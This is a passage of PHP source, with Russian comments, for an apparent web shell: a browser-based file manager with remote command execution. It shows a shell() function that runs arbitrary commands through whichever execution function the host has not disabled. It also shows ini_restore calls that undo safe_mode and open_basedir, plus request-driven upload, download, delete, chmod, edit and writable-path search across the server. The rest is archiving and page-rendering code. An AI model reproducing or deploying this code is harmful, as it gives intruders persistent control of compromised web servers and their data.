chdir($this->options['basedir']);
foreach ($this->files as $current)
{
if ($current['name'] == $this->options['name'])
continue;
$timedate = explode(" ", date("Y n j G i s", $current['stat'][9]));
$timedate = ($timedate[0] - 1980 << 25) | ($timedate[1] << 21) | ($timedate[2] << 16) |
($timedate[3] << 11) | ($timedate[4] << 5) | ($timedate[5]);
$block = pack("VvvvV", 0x04034b50, 0x000A, 0x0000,  (isset($current['method']) || $this->options['method'] == 0) ? 0x0000  : 0x0008, $timedate);
if ($current['stat'][7] == 0 && $current['type'] == 5)
{
$block .= pack("VVVvv", 0x00000000, 0x00000000, 0x00000000, strlen($current['name2']) + 1, 0x0000);
$block .= $current['name2'] . "/";
$this->add_data($block);
$central .= pack("VvvvvVVVVvvvvvVV", 0x02014b50, 0x0014,  $this->options['method'] == 0 ? 0x0000 : 0x000A,  0x0000,(isset($current['method']) || $this->options['method'] == 0) ?  0x0000 : 0x0008, $timedate,0x00000000, 0x00000000, 0x00000000,  strlen($current['name2']) + 1, 0x0000, 0x0000, 0x0000, 0x0000,  $current['type'] == 5 ? 0x00000010 : 0x00000000, $offset);
$central .= $current['name2'] . "/";
$files++;
$offset += (31 + strlen($current['name2']));
}
else if ($current['stat'][7] == 0)
{
$block .= pack("VVVvv", 0x00000000, 0x00000000, 0x00000000, strlen($current['name2']), 0x0000);
$block .= $current['name2'];
$this->add_data($block);
$central .= pack("VvvvvVVVVvvvvvVV", 0x02014b50, 0x0014,  $this->options['method'] == 0 ? 0x0000 : 0x000A,  0x0000,(isset($current['method']) || $this->options['method'] == 0) ?  0x0000 : 0x0008, $timedate,0x00000000, 0x00000000, 0x00000000,  strlen($current['name2']), 0x0000, 0x0000, 0x0000, 0x0000,  $current['type'] == 5 ? 0x00000010 : 0x00000000, $offset);
$central .= $current['name2'];
$files++;
$offset += (30 + strlen($current['name2']));
}
else if ($fp = @fopen($current['name'], "rb"))
{
$temp = fread($fp, $current['stat'][7]);
fclose($fp);
$crc32 = crc32($temp);
if (!isset($current['method']) && $this->options['method'] == 1)
{
$temp = gzcompress($temp, $this->options['level']);
$size = strlen($temp) - 6;
$temp = substr($temp, 2, $size);
}
else
$size = strlen($temp);
$block .= pack("VVVvv", $crc32, $size, $current['stat'][7], strlen($current['name2']), 0x0000);
$block .= $current['name2'];
$this->add_data($block);
$this->add_data($temp);
unset ($temp);
$central .= pack("VvvvvVVVVvvvvvVV", 0x02014b50, 0x0014,  $this->options['method'] == 0 ? 0x0000 : 0x000A,  0x0000,(isset($current['method']) || $this->options['method'] == 0) ?  0x0000 : 0x0008, $timedate,$crc32, $size, $current['stat'][7],  strlen($current['name2']), 0x0000, 0x0000, 0x0000, 0x0000, 0x00000000,  $offset);
$central .= $current['name2'];
$files++;
$offset += (30 + strlen($current['name2']) + $size);
}
else
$this->error[] = "Could not open file {$current['name']} for reading. It was not added.";
}
$this->add_data($central);
$this->add_data(pack("VvvvvVVv", 0x06054b50, 0x0000, 0x0000, $files,  $files, strlen($central), $offset,!empty ($this->options['comment']) ?  strlen($this->options['comment']) : 0x0000));
if (!empty ($this->options['comment']))
$this->add_data($this->options['comment']);
chdir($pwd);
return 1;
}
}
function icon($file) {
$ext=get_file_ext($file);
if (is_dir($file)) { $icon="dir"; }
elseif ($ext == "htm" || $ext == "html" || $ext == "mhtml" || $ext == "shtml" ) { $icon="html"; }
elseif ($ext == "php" || $ext == "php3" || $ext == "php4" || $ext == "php5" || $ext == "phtml") { $icon="php"; }
elseif ($ext == "pl") { $icon="pl"; }
elseif ($ext == "exe" || $ext == "com" || $ext == "bat") { $icon="exe"; }
elseif ($ext == "js" || $ext == "jsp") { $icon="js"; }
elseif ($ext == "css") { $icon="css"; }
elseif ($ext == "xml") { $icon="xml"; }
elseif ($ext == "txt" || $ext == "dat" || $ext == "log" || $ext == "ini"  || $ext == "inf" || $ext == "inc" || $ext == "sql") { $icon="txt"; }
elseif ($ext == "rtf" || $ext == "doc") { $icon="doc"; }
elseif ($ext == "xls") { $icon="xls"; }
elseif ($ext == "wav") { $icon="wav"; }
elseif ($ext == "mp3") { $icon="mp3"; }
elseif ($ext == "mid" || $ext == "midi" || $ext == "kar") { $icon="mid"; }
elseif ($ext == "mov" || $ext == "avi" || $ext == "3gp") { $icon="avi"; }
elseif ($ext == "mpg" || $ext == "mpeg") { $icon="mpg"; }
elseif ($ext == "swf") { $icon="swf"; }
elseif ($ext == "gif") { $icon="gif"; }
elseif ($ext == "jpg" || $exy == "jpeg") { $icon="jpg"; }
elseif ($ext == "bmp" || $ext == "png") { $icon="bmp"; }
elseif ($ext == "zip" || $ext == "gz") { $icon="zip"; }
elseif ($ext == "tgz") { $icon="tgz"; }
elseif ($ext == "tar") { $icon="tar"; }
elseif ($ext == "rar") { $icon="rar"; }
else { $icon="unk"; }
//return "&nbsp;<img src=\"?act=img&name_img=".$icon."\" height=18 width=20/>&nbsp;";
return "&nbsp;<img src=\"icons/".$icon.".gif\" height=20/>&nbsp;";
}
function flusher(){ flush(); ob_flush(); }
if (!function_exists("file_get_contents")) {
function file_get_contents($addr) {
$a = fopen($addr,"r");
$tmp = fread($a,sprintf("%u",filesize($a)));
fclose($a);
if($a)return $tmp;
}
}
if (!function_exists("file_put_contents")) {
function file_put_contents($addr,$con) {
$a = fopen($addr,"w");
if(!$a)return 0;
fwrite($a,$con);
fclose($a);
return strlen($con);
}
}
if (!function_exists("str_repeat")) {
function str_repeat($str,$c){
$r="";
for($i=0; $i < $cu; $i++)$r.=$str;
return $r;
}
}
if (!empty($dl)) {
ob_clean();
$con=file_get_contents($dl);
header("Content-type: application/octet-stream");
header("Content-disposition: attachment; filename=\"$dl\";");
header("Content-length: ".strlen($con));
echo $con;
exit;
}
if (!empty($img)) {
header("Content-type: image/gif");
header("Content-length: ".sprintf("%u",filesize($img)));
header("Last-Modified: ".date("r",filemtime($img)));
echo file_get_contents($img);
exit;
}
function showsize($size) {
if ($size>=1073741824) { $size = round(($size/1073741824) ,2)." ГБ"; }
elseif ($size>=1048576) { $size = round(($size/1048576),2)." МБ"; }
elseif ($size>=1024) { $size = round(($size/1024),2)." КБ"; }
else { $size .= " Б"; }
return $size;
}
if (substr((strtoupper(php_uname())),0,3)=="WIN") { $windows=1; } else { $windows=0; }
function name(){
$name='';
srand((double)microtime()*100000);
for ($i=0;$i<=rand(3,10);$i++){
$name.=chr(rand(97,122));
}
return $name;
}
$safemode=(ini_get('safe_mode') or strtolower(ini_get('safe_mode')) == 'on')?'ON':'OFF';
if($safemode=="ON") { ini_restore("safe_mode"); ini_restore("open_basedir"); }
///////////////////////////ПОКАЗЫВАЕМ КАРТИНКУ ДЛЯ ФАЙЛОВ И ПАПОК///////////////////////////////////////
function showimage($img) { echo "<center><img border=0  src=\"".hlink("image=".$img."&&workingdir=".getcwd())."\"></center>";  }
///////////////////////РЕДАКТИРОВАНИЕ ФАЙЛОВ////////////////////////////////////
function editor($file){
global $errorbox,$et,$hcwd;
if (is_file($file)) {
if (!is_readable($file)) { echo $errorbox." Файл не доступен для чтения".$et."<br>"; }
if (!is_writable($file)){ echo $errorbox." Файл не доступен для записи".$et."<br>"; }
$data = file_get_contents($file);
echo "<link rel=\"stylesheet\" href=\"astyle.css\" type=\"text/css\"  /><center><table border=0 style=\"border-collapse:  collapse\" bordercolor=\"#282828\"  width=\"50%\"><tr><td><form  method=\"POST\">".$hcwd."<input type=text  value=\"".htmlspecialchars($file)."\" size=40 name=file> <input  type=submit class=buttons name=Open  value=Открыть></td></tr></form></table><br><table  border=0 style=\"border-collapse: collapse\" bordercolor=\"#282828\"  width=\"50%\"><tr><td><form  method=\"POST\"><textarea rows=\"50\" id=\"textedit\"  name=\"edited\" cols=\"120\">";
echo htmlspecialchars($data);
echo  "</textarea></td></tr><tr><td><input  type=text value=\"".htmlspecialchars($file)."\" size=40  name=file></td></tr><td>";
} else {
echo "<center><table border=0 style=\"border-collapse:  collapse\" bordercolor=\"#282828\"  width=\"50%\"><tr><td><form  method=\"POST\"><input type=text  value=\"".htmlspecialchars(getcwd())."\" size=40  name=file>".$hcwd."<input type=submit class=buttons name=Open  value=Открыть></td></tr></form></table><br><table  border=0 style=\"border-collapse: collapse\" bordercolor=\"#282828\"  width=\"50%\"><tr><td><form  method=\"POST\"><textarea rows=\"50\" name=\"edited\"  cols=\"100\"></textarea></td></tr><tr><td><input  type=text value=\"".htmlspecialchars(getcwd())."\" size=35  name=file></td></tr><td>";
}
echo $hcwd."<input type=submit class=buttons name=save  value=Сохранить> <input type=submit class=buttons name=save  value=Переименовать></td></form></tr></table></center>";
}
////////////////////////////////СУММА/////////////////////////
function checksum($file){
global $et;
echo "<table border=0 style=\"border-collapse: collapse\"  bordercolor=\"#282828\" width=\"100%\"><tr><td  width=\"10%\"><b>MD5:</b> <font  color=202020>".md5_file($file)."</font><br><b>SHA1:</b>  <font color=#202020>".sha1_file($file)."</font>".$et;
}
///////////////////////////////////////////////////////////////////////////////////////////shell////////////
function shell($command){
global $windows,$disablefunctions;
$exec = '';$output= '';
$dep[]=array('pipe','r');$dep[]=array('pipe','w');
if(is_callable('passthru') &&  !strstr($disablefunctions,'passthru')){  @ob_start();passthru($command);$exec=@ob_get_contents();@ob_clean();@ob_end_clean();}
elseif(is_callable('system') &&  !strstr($disablefunctions,'system')){$tmp = @ob_get_contents();  @ob_clean();system($command) ; $output = @ob_get_contents();  @ob_clean(); $exec= $tmp; }
elseif(is_callable('exec') && !strstr($disablefunctions,'exec'))  {exec($command,$output);$output = join("\n",$output);$exec= $output;}
elseif(is_callable('shell_exec') && !strstr($disablefunctions,'shell_exec')){$exec= shell_exec($command);}
elseif(is_resource($output=popen($command,"r"))) {while(!feof($output)){$exec= fgets($output);}pclose($output);}
elseif(is_resource($res=proc_open($command,$dep,$pipes))){while(!feof($pipes[1])){$line  = fgets($pipes[1]); $output.=$line;}$exec= $output;proc_close($res);}
elseif ($windows && is_object($ws = new  COM("WScript.Shell"))){$dir=(isset($_SERVER["TEMP"]))?$_SERVER["TEMP"]:ini_get('upload_tmp_dir')  ;$name = $_SERVER["TEMP"].name();$ws->Run("cmd.exe /C $command  >$name", 0, true);$exec = file_get_contents($name);unlink($name);}
else { $exec=`$command`; }
if ($windows) $exec=convert_cyr_string ($exec, "a", "w");
return $exec;
}
/////////////////////////////РАЗМЕР КАРТИНКИ ИКОНКИ////////////////////////
function tumb($src) {
$width=20;
$height=20;
$rgb=0xFFFFFF;
if (!file_exists($src)) return false;
$size = getimagesize($src);
if ($size == false) return false;
$format = strtolower(substr($size['mime'], strpos($size['mime'], '/')+1));
$icfunc = "imagecreatefrom" . $format;
if (!function_exists($icfunc)) return false;
$x_ratio = $width / $size[0];
$y_ratio = $height / $size[1];
$ratio       = min($x_ratio, $y_ratio);
$use_x_ratio = ($x_ratio == $ratio);
$new_width   = $use_x_ratio  ? $width  : floor($size[0] * $ratio);
$new_height  = !$use_x_ratio ? $height : floor($size[1] * $ratio);
$new_left    = $use_x_ratio  ? 0 : floor(($width - $new_width) / 2);
$new_top     = !$use_x_ratio ? 0 : floor(($height - $new_height) / 2);
$isrc = $icfunc($src);
$idest = imagecreatetruecolor($width, $height);
imagefill($idest, 0, 0, $rgb);
imagecopyresampled($idest, $isrc, $new_left, $new_top, 0, 0, $new_width, $new_height, $size[0], $size[1]);
ob_start();
imagejpeg($idest);
$cont=ob_get_contents();
ob_end_clean();
imagedestroy($isrc);
imagedestroy($idest);
return $cont;
}
if (isset($_REQUEST['tumb'])) {
header("Content-type: image/gif");
die(tumb($_REQUEST['t']));
}
function tumbnail($f) {
$ret="<img src=\"".hlink("tumb=1&t=".urlencode($f))."\">  ";
return $ret;
}
//////////////////////////////////////////////////////////
function listdir($cwd,$task){
$c= getcwd();
$dh=opendir($cwd);
while ($cont=readdir($dh)){
if($cont=='.' || $cont=='..')continue;
$adr=$cwd.DIRECTORY_SEPARATOR.$cont;
switch ($task){
case '0':if(is_file($adr))echo "[<a  href=\"".hlink("sec=edit&file=".urlencode($adr)."&workingdir=".urlencode($c))."\">$adr</a>]<br>\r\n";
if(is_dir($adr))echo "[<a  href=\"".hlink("sec=fm&workingdir=".urlencode($adr))."\">$adr</a>]<br>\r\n";break;
case '1':if(is_writeable($adr))if(is_file($adr))echo "[<a  href=\"".hlink("sec=edit&file=".urlencode($adr)."&workingdir=".urlencode($c))."\">$adr</a>]<br>\r\n";if(is_dir($adr))echo  "[<a  href=\"".hlink("sec=fm&workingdir=".urlencode($adr))."\">$adr</a>]<br>\r\n";break;
case '2':if(is_file($adr) &&  is_writeable($adr))echo "[<a  href=\"".hlink("sec=edit&file=".urlencode($adr)."&workingdir=".urlencode($c))."\">$adr</a>]<br>\r\n";break;
case '3':if(is_dir($adr) && is_writeable($adr))echo "[<a  href=\"".hlink("sec=fm&workingdir=".urlencode($adr))."\">$adr</a>]<br>\r\n";break;
case '4':if(is_file($adr))echo "[<a  href=\"".hlink("sec=edit&file=".urlencode($adr)."&workingdir=".urlencode($c))."\">$adr</a>]<br>\r\n";break;
case '5':if(is_dir($adr))echo "[<a  href=\"".hlink("sec=fm&workingdir=".urlencode($adr))."\">$adr</a>]<br>\r\n";break;
case  '6':if(preg_match("@".$_REQUEST['search']."@",$cont)){if(is_file($adr))echo  "[<a  href=\"".hlink("sec=edit&file=".urlencode($adr)."&workingdir=".urlencode($c))."\">$adr</a>]<br>\r\n";if(is_dir($adr))echo  "[<a  href=\"".hlink("sec=fm&workingdir=".urlencode($adr))."\">$adr</a>]<br>\r\n";}break;
case '7':if(strstr($cont,$_REQUEST['search'])){if(is_file($adr))echo  "[<a  href=\"".hlink("sec=edit&file=".urlencode($adr)."&workingdir=".urlencode($c))."\">$adr</a>]<br>\r\n";if(is_dir($adr))echo  "[<a  href=\"".hlink("sec=fm&workingdir=".urlencode($adr))."\">$adr</a>]<br>\r\n";}break;
}
if(is_dir($adr)) listdir($adr,$_REQUEST['task']);
}
}
if(!function_exists("posix_getpwuid") &&  !strstr($disablefunctions,'posix_getpwuid')) {function  posix_getpwuid($u) {return 0;}}
if(!function_exists("posix_getgrgid") &&  !strstr($disablefunctions,'posix_getgrgid')) {function  posix_getgrgid($g) {return 0;}}
/////////////////////////ГЛАВНАЯ ЦВЕТА И ТАК ДАЛЕЕ/////////////////////////
function filemanager(){
global $windows,$msgbox,$errorbox,$t,$et,$hcwd;
$cwd= getcwd();
$table="<table border=0 cellpadding=0 cellspacing=0 style=\"border-collapse: collapse\" width=\"100%\">";
$td1n="<td width=\"10%\" bgcolor=\"#e0f2dc\">";
$td2m="<td width=\"10%\" bgcolor=\"#e3fadf\">";
$td1i="<td width=\"10%\" bgcolor=\"#e0f2dc\">";
$td2i="<td width=\"10%\" bgcolor=\"#e3fadf\">";
$tdnr="<td width=\"22%\" bgcolor=\"#800000\">";
$tdw="<td width=\"22%\" bgcolor=\"#eeffee\">";
if(!empty($_REQUEST['task'])){
if(!empty($_REQUEST['search'])) $_REQUEST['task']=7;
if(!empty($_REQUEST['re'])) $_REQUEST['task']=6;
echo "<font color=blue>";
listdir($cwd,$_REQUEST['task']);
echo "</font>";
}else{
if(!empty($_REQUEST['cp']) || !empty($_REQUEST['mv'])|| !empty($_REQUEST['rn'])){
if(!empty($_REQUEST['cp']) || !empty($_REQUEST['mv'])){
$title="Переместить";
$ad=(!empty($_REQUEST['cp']))?$_REQUEST['cp']:$_REQUEST['mv'];
$dis =(!empty($_REQUEST['cp']))?'Копировать':'Переместить';
}else{
$ad=$_REQUEST['rn'];
$title ="<b>Укажите новое имя</b>";
$dis="Переименовать";
}
//////////////////////////////ОКНО ПЕРЕМЕСТИТЬ И КОПИРОВАТЬ//////////////////////////////
if(!!empty($_REQUEST['des'])){
echo "<center><table border=0 style=\"border-collapse:  collapse\" width=\"40%\"><tr><td  width=\"100%\">$title:</td></tr><tr>$td1n<form  method=\"POST\"><input type=hidden name=workingdir size=135  value=\"".htmlspecialchars(getcwd())."\"><input type=text  value=\"";if(empty($_REQUEST['rn'])) echo $cwd; echo "\" size=60  name=des></td></tr><tr>$td2m$hcwd<input  type=hidden value=\"".htmlspecialchars($ad)."\" name=cp><input  class=buttons type=submit  value=$dis></td></tr></form></table></center>";
}else{
if(!empty($_REQUEST['rn'])) rename($ad,$_REQUEST['des']);
else{
copy($ad,$_REQUEST['des']);
if(!empty($_REQUEST['mv']) && filesize($_REQUEST['des']) == filesize($ad))unlink($ad);
}
}
}
if(!empty($_REQUEST['tar'])) {
$tar=$_REQUEST['tar'];
if(!file_exists($namen=$tar.".tar")) $_name=$namen;
else {
while (file_exists($namen)) $namen="1.".$namen;
$_name=$namen;
}
$archive=new tar_file($_name);
$archive->add_files($tar);
$archive->create_archive();
}
if(!empty($_REQUEST['tgz'])) {
$tar=$_REQUEST['tgz'];
if(!file_exists($namen=$tar.".tgz")) $_name=$namen;
else {
while (file_exists($namen)) $namen="1.".$namen;
$_name=$namen;
}
$archive=new gzip_file($_name);
$archive->add_files($tar);
$archive->create_archive();
}
if(!empty($_REQUEST['zip'])) {
$tar=$_REQUEST['zip'];
if(!file_exists($namen=$tar.".zip")) $_name=$namen;
else {
while (file_exists($namen)) $namen="1.".$namen;
$_name=$namen;
}
$archive=new zip_file($_name);
$archive->add_files($tar);
$archive->create_archive();
}
if(!empty($_REQUEST['untar'])) {
$tar=$_REQUEST['untar'];
$backup=new tar_file($tar);
$backup->extract_files();
}
if(!empty($_REQUEST['untgz'])) {
$tar=$_REQUEST['untgz'];
$backup=new gzip_file($tar);
$backup->extract_files();
}
if(!empty($_REQUEST['del'])) {
function dir_delete($df) {
if($dir=opendir($df)) {
$i=0;
while (($file=readdir($dir))!=false) {
if($file=="." or $file=="..") continue;
if(is_dir("$df/$file"))  {
dir_delete($df."/".$file);
}
else {
unlink($df."/".$file);
}
$i++;
}
}
closedir($dir);
rmdir("$df/$file");
}
if(is_dir($_REQUEST['del'])) { dir_delete($_REQUEST['del']); }
else { unlink ($_REQUEST['del']); }
}
////////////////////////загрузка файла///////////////////////////////////
if(!empty($_FILES['uploadfile'])){
if(!file_exists($_FILES['uploadfile']['name'])) {
copy($_FILES['uploadfile']['tmp_name'],$_FILES['uploadfile']['name']);
echo "$msgbox<div  style=\"background:#ffffff\"><b>Загружен!</b> Имя:  ".$_FILES['uploadfile']['name']." Размер:  ".$_FILES['uploadfile']['size']. "</div>$et<br>"; }
else { echo "$msgbox<div  style=\"background:#ffffff\"><b>Такой файл уже есть!</b>  Имя: ".$_FILES['uploadfile']['name']." Размер:  ".$_FILES['uploadfile']['size']. "</div>$et<br>"; }
}
if(!empty($_REQUEST['newf'])){
if(!empty($_REQUEST['newfile'])){ if(!file_exists($_REQUEST['newf'])) { fclose(fopen($_REQUEST['newf'],"w+")); }}
if(!empty($_REQUEST['newdir'])){mkdir($_REQUEST['newf']);}
}
//////////////////////// Диски винта УБРАЛ ///////////////////////////
//if($windows){
//echo "$table<td><b>Диски:</b> ";
//for ($i=66;$i<=90;$i++){$drive= chr($i).':';
//if(is_dir($drive."\\")){$vol=htmlspecialchars(shell("vol $drive"));if(empty($vol))$vol=$drive;echo " 
//<a title=\"$vol\" href=".hlink("sec=fm&workingdir=$drive\\").">$drive\\</a>";}
//}
//echo $et;
//}
/////////////////////////ПУТЬ физический УБРАЛ/////////////////////
//echo "$table<form method=\"POST\"  action=\"".hlink("sec=fm")."\"><tr><td  width=\"20%\"><b>Путь:</b><input type=text  //name=workingdir size=135  value=\"".htmlspecialchars(getcwd())."\"><input class=buttons  type=submit value=Изменить>
//</td></tr></form></table>";
//////////////////////////меняюю $dir[]= $cont; на $dir[null]= $cont; небудет папок выхода//////////
$file=array();$dir=array();$link=array();
if($dirhandle=opendir($cwd)){
while ($cont=readdir($dirhandle)){
if(is_dir($cwd.DIRECTORY_SEPARATOR.$cont)) $dir[]= $cont;
elseif(is_file($cwd.DIRECTORY_SEPARATOR.$cont)) $file[]=$cont;
else $link[]=$cont;
}
closedir($dirhandle);
sort($file);sort($dir);sort($link);
///////////////////Название главной таблицы заголовков///////////////////////
echo "<table border=1 cellpadding=0 cellspacing=0  style=\"border-collapse: collapse\" width=\"100%\"  bgcolor=\"#ececec\"><tr><td width=\"35%\"  align=\"center\">Имя</td><td width=\"20%\"  align=\"center\">Время изменения</td><td width=\"20%\"  align=\"center\">Последнее изменение</td><td width=\"10%\"  align=\"center\">Доступ</td><td width=\"10%\"  align=\"center\">Размер</td><td width=\"10%\"  align=\"center\">Действия</td></tr>";
$i=0;
foreach($dir as $dn){
echo "<tr>";
$i++;

////////////////////////////////////////////ВЫЫОДИТ СТРОКУ ПАПОК///////////////////////////////////
//$own="Неизвестно";
//$owner=posix_getpwuid(fileowner($dn));
//время измения
$mdate=date("Y/m/d H:i:s",filemtime($dn));
// время поледнего изменения 
$adate=date("Y/m/d H:i:s",fileatime($dn));
// действия
$diraction= "<script>dir('".urlencode($dn)."','".urlencode(realpath($dn))."');</script></td>";
//if($owner) $own="<a title=\" Shell: ".$owner['shell']."\" href=\"".hlink("sec=fm&workingdir=".urlencode($owner
//['dir']))."\">".$owner['name']."</a>";
if(($i%2)==0){$cl1=$td1i;$cl2=$td1n;}else{$cl1=$td2i;$cl2=$td2m;}
if(is_writeable($dn)) echo $tdw;elseif(!is_readable($dn)) echo $tdnr;else echo $cl2;
echo icon(realpath($dn))."<a href=\"".hlink("sec=fm&workingdir=".urlencode(realpath($dn)))."\">";
if(strlen($dn)>45)echo substr($dn,0,42)."...";else echo $dn;echo "</a>";
//echo $cl1."$own</td>";
echo $cl1."<center>$mdate</td>";
echo $cl1."<center>$adate</td>";
echo "</td>${cl1}<center><a  href=\"".hlink("sec=chmod&file=".urlencode($dn)."&workingdir=".urlencode(getcwd()))."\">d-";if(is_readable($dn))  echo "r";if(is_writeable($dn)) echo "-w";echo "</a></td>";
echo "$cl1<center>Папка</td>";
echo "$cl2$diraction";
echo "</tr>" ;
flusher();
}
foreach($file as $fn){
echo "<tr>";
$i++;
/////////////////////////////////ВЫЫОДИТ СТРОКУ ФАЙЛОВ///////////////////////////////////
//$own="Неизвестно";
//$owner=posix_getpwuid(fileowner($fn));
$fileaction="<script>file('".urlencode($fn)."'";
if(get_file_ext($fn) == "bmp") $fileaction.=",'bmp'";
if(get_file_ext($fn) == "tgz") $fileaction.=",'tgz'";
if(get_file_ext($fn) == "tar") $fileaction.=",'tar'";
$fileaction.=");</script></td>";
$mdate=date("Y/m/d H:i:s",filemtime($fn));
$adate=date("Y/m/d H:i:s",fileatime($fn));
//if($owner) $own="<a title=\"Shell:".$owner['shell']."\"  href=\"".hlink("sec=fm&workingdir=".$owner['dir'])."\">".$owner
//['name']."</a>";
$size=showsize(sprintf("%u",filesize($fn)));
if(($i%2)==0){$cl1=$td1i;$cl2=$td1n;}else{$cl1=$td2i;$cl2=$td2m;}
if(is_writeable($fn)) echo $tdw;elseif(!is_readable($fn)) echo $tdnr;else echo $td2m;
if(get_file_ext($fn) == "gif" || get_file_ext($fn) == "jpg" || get_file_ext($fn) == "png" || get_file_ext($fn) == "jpeg") {
$imagesize=getimagesize(realpath($fn));
echo "<a  href=\"".hlink("sec=img&file=".urlencode($fn)."&workingdir=".urlencode($cwd))."\">".icon(realpath($fn)).tumbnail(realpath($fn))."&nbsp;(".$imagesize[0]."x".$imagesize[1].")&nbsp;&nbsp;";
} else {
echo icon(realpath($fn))."<a  href=\"".hlink("sec=openit&name=".urlencode($fn)."&workingdir=".urlencode($cwd))."\">";
}
if(strlen($fn)>45)echo substr($fn,0,42)."...";else echo $fn;echo "</a>";
//echo $cl1."$own</td>";
echo $cl1."<center>$mdate</td>";
echo $cl1."<center>$adate</td>";
echo "</td>$cl1<center><a  href=\"".hlink("sec=chmod&file=".urlencode($fn)."&workingdir=".urlencode(getcwd()))."\">";if(is_readable($fn))  echo "r";if(is_writeable($fn)) echo "-w";if(is_executable($fn)) echo  "x";if(is_uploaded_file($fn)) echo "u"; echo "</a></td>";
echo "$cl1&nbsp;$size</td>";
echo $td2m.$fileaction;
echo "</tr>" ;
flusher();
}
foreach($link as $ln){
$own="Неизвестно";
$i++;
$owner=posix_getpwuid(fileowner($ln));
$linkaction="<script>file('".urlencode($ln)."'";
if(get_file_ext($ln) == "tgz") $linkaction.=",'tgz'";
if(get_file_ext($ln) == "tar") $linkaction.=",'tar'";
$linkaction.=");</script></td>";
$mdate=date("Y/m/d H:i:s",filemtime($ln));
$adate=date("Y/m/d H:i:s",fileatime($ln));
if($owner) $own="<a title=\"Shell: ".$owner['shell']."\"  href=\"".hlink("sec=fm&workingdir=".urlencode($owner['dir']))."\">".$owner['name']."</a>";
echo "<tr>";
$size=showsize(sprintf("%u",filesize($ln)));
if(($i%2)==0){$cl1=$td1i;$cl2=$td1n;}else{$cl1=$td2i;$cl2=$td2m;}
if(is_writeable($ln)) echo $tdw;elseif(!is_readable($ln)) echo $tdnr;else echo $cl2;
echo "<a href=\"".hlink("sec=openit&name=$ln&workingdir=$cwd")."\">";
if(strlen($ln)>45)echo substr($ln,0,42)."...";else echo $ln;echo "</a>";
//echo $cl1."$own</td>";
echo $cl1."$mdate</td>";
echo $cl1."$adate</td>";
echo "</td>${cl1}L";if(is_readable($ln)) echo  "r";if(is_writeable($ln)) echo "w";if(is_executable($ln)) echo "x"; echo  "</td>";
echo "$cl1$size</td>";
echo $cl2.$linkaction;
echo "</tr>" ;
flusher();
}
}
//////////////////////////////////нижния строка подчет файлов и папок//////////////////////
$dc=count($dir)-2;
if($dc==-2)$dc=0;
$fc=count($file);
$lc=count($link);
$total=$dc + $fc + $lc;
echo "$table<tr><td><form method=POST  action=\"".hlink("sec=fm")."\">Суммарно:</b>   Всего: $total  Папок: $dc Файлов: $fc Ссылок: $lc</td></table>$et";
}
}
function hlink($str="") {
$ret = "?";
return $ret.$str;
}
//////////////////////////////////////////////Изменения доступа к файлом и папкам///////////////////////
function cm() {
global $msgbox,$errorbox,$et;
$mode=substr(sprintf('%o', fileperms($_REQUEST['file'])), -4);
echo $msgbox;
if (!empty($_POST['set'])) {
$mode = 0;
if (!empty($_POST['ur'])) $mode |= 0400; if (!empty($_POST['uw'])) $mode |= 0200; if (!empty($_POST['ux'])) $mode |= 0100;
if (!empty($_POST['gr'])) $mode |= 0040; if (!empty($_POST['gw'])) $mode |= 0020; if (!empty($_POST['gx'])) $mode |= 0010;
if (!empty($_POST['or'])) $mode |= 0004; if (!empty($_POST['ow'])) $mode |= 0002; if (!empty($_POST['ox'])) $mode |= 0001;
if (chmod($_REQUEST['file'], $mode)) {
echo "OK!<script>location.href=\"".hlink("sec=fm&workingdir=".urlencode(getcwd()))."\";</script>";
} else {
echo "ERROR!";
}
} else {
$mode = fileperms($_REQUEST['file']);
echo '<form  action="'.hlink("sec=chmod&file=".$_REQUEST['file']."&workingdir=".urlencode(getcwd())).'"  method="post"><table><tr><td><p style="margin:  0"><b>CHMOD</b> ' . realpath($_REQUEST['file']) .  '</p><hr  /><table><tr><td></td><td  style="border-right: 1px solid  black">Owner&nbsp;</td><td style="border-right: 1px  solid  black">&nbsp;Group&nbsp;</td><td>&nbsp;Other</td></tr><tr><td  style="text-align: right">Чтение:</td><td  align="center"><input type="checkbox" name="ur" value="1"'; if  ($mode & 00400) echo ' checked="checked"'; echo '  /></td><td align="center"><input type="checkbox"  name="gr" value="1"'; if ($mode & 00040) echo ' checked="checked"';  echo ' /></td><td align="center"><input  type="checkbox" name="or" value="1"'; if ($mode & 00004) echo '  checked="checked"'; echo ' /></td></tr><tr><td  style="text-align: right">Запись:</td><td  align="center"><input type="checkbox" name="uw" value="1"'; if  ($mode & 00200) echo ' checked="checked"'; echo '  /></td><td align="center"><input type="checkbox"  name="gw" value="1"'; if ($mode & 00020) echo ' checked="checked"';  echo ' /></td><td align="center"><input  type="checkbox" name="ow" value="1"'; if ($mode & 00002) echo '  checked="checked"'; echo ' /></td></tr><tr><td  style="text-align: right">Выполнение:</td><td  align="center"><input type="checkbox" name="ux" value="1"'; if  ($mode & 00100) echo ' checked="checked"'; echo '  /></td><td align="center"><input type="checkbox"  name="gx" value="1"'; if ($mode & 00010) echo ' checked="checked"';  echo ' /></td><td align="center"><input  type="checkbox" name="ox" value="1"'; if ($mode & 00001) echo '  checked="checked"'; echo '  /></td></tr></table><hr /><input  type="submit" name="set" value="Применить"  /></td></tr></table></form>';
}
echo $et;
}
/////////////////////////////////HEX////////////////////////////////////
function hexview(){
if (!empty($_REQUEST['file'])){
$f = $_REQUEST['file'];
echo "<table border=0 style=\"border-collapse: collapse\"  bordercolor=\"#282828\" width=\"100%\"><td  width=\"10%\">Offset</td><td  width=\"25%\">Hex</td><td width=\"25%\"></td><td  width=\"40%\">ASCII</td></tr>";
$file = fopen($f,"r");
$i= -1;
while (!feof($file)) {
$ln='';
$i++;
echo "<tr><td width=\"10%\" bgcolor=\"#";
if ($i % 2==0) echo "666666"; else echo "808080";
echo "\">"; echo str_repeat("0",(8-strlen($i * 16))).$i * 16; echo "</td>";
echo "<td width=\"25%\" bgcolor=\"#";
if ($i % 2==0) echo "666666"; else echo "808080";
echo "\">";
for ($j=0;$j<=7;$j++){
if (!feof($file)){
$tmp = strtoupper(dechex(ord(fgetc($file))));
if (strlen($tmp)==1) $tmp = "0".$tmp;
echo $tmp." ";
$ln.=$tmp;
}
}
echo "</td><td width=\"25%\" bgcolor=\"#";
if ($i % 2==0) echo "666666"; else echo "808080";
echo "\">";
for ($j=7;$j<=14;$j++){
if (!feof($file)){
$tmp = strtoupper(dechex(ord(fgetc($file))));
if (strlen($tmp)==1) $tmp = "0".$tmp;
echo $tmp." ";
$ln.=$tmp;
}
}
echo "</td><td width=\"40%\" bgcolor=\"#";
if ($i % 2==0) echo "666666"; else echo "808080";
echo "\">";
